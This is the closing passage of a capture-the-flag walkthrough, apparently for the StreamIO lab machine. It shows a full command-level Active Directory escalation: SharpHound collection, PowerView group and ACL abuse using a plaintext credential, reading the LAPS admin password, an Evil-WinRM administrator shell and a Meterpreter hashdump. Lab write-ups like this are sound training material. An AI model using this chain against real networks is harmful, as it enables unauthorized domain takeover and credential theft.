We can also use Bloodhound to find this out. I covered how to set up Neo4J and Bloodhound on the TryHackMe room here. Assuming you’ve done that setup, you’ll need to upload SharpHound to the box and run it to collect the data. Then download it like we did for the FireFox files using netcat. Finally drop that zip from SharpHound in to Bloodhound and start looking at the data.

You’ll find the user ending in 1104 (that’s JDgodd) owns CORE STAFF which has the rights to Read LAPS Password on the DC:


If you look at the info for ReadLAPSPassword:


And the Abuse info shows us what to do:


To be able to read the LAPS password we need to be a member of CORE STAFF, but we can’t connect via Evil-WinRM as JDgodd because he isn’t in the Remote Management Users group. Instead we can use PowerView do this whilst logged in as nikk37.


Grab PowerView from here, upload and import it:

*Evil-WinRM* PS C:\Users\nikk37\Documents> upload PowerView.ps1
Info: Uploading PowerView.ps1 to C:\Users\nikk37\Documents\PowerView.ps1
Data: 1027036 bytes of 1027036 bytes copied
Info: Upload successful!

*Evil-WinRM* PS C:\Users\nikk37\Documents> . ./PowerView.ps1

Now we can create a credential object for JDgodd:

*Evil-WinRM* PS C:\Users\nikk37\Documents> $SecPassword = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\nikk37\Documents> $Cred = New-Object System.Management.Automation.PSCredential('streamio\JDgodd', $SecPassword)

And use that to add him to the CORE STAFF group:

*Evil-WinRM* PS C:\Users\nikk37\Documents> Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Core Staff" -principalidentity "streamio\JDgodd"
*Evil-WinRM* PS C:\Users\nikk37\Documents> Add-DomainGroupMember -identity "Core Staff" -members "streamio\JDgodd" -credential $Cred

Now give it a few minutes for the changes to replicated around, then you can pull the LAPS password out:

*Evil-WinRM* PS C:\Users\nikk37\Documents> Get-DomainObject dc.streamio.htb -Credential $Cred -Properties "ms-mcs-AdmPwd",name

name ms-mcs-admpwd
---- -------------
DC   XgTt7YW50.0y]F

Root Flag

Now we can grab the root flag by connecting as the local administrator:

└─# evil-winrm -i streamio.htb -u Administrator -p 'XgTt7YW50.0y]F'
Evil-WinRM shell v3.3
*Evil-WinRM* PS C:\Users\Administrator\Documents>

*Evil-WinRM* PS C:\Users\Administrator> type c:\users\martin\desktop\root.txt

Here’s a few hashes via Meterpreter just for fun:

meterpreter > hashdump

That was a great box. I hope you learned something from this lengthy walkthrough. See you next time.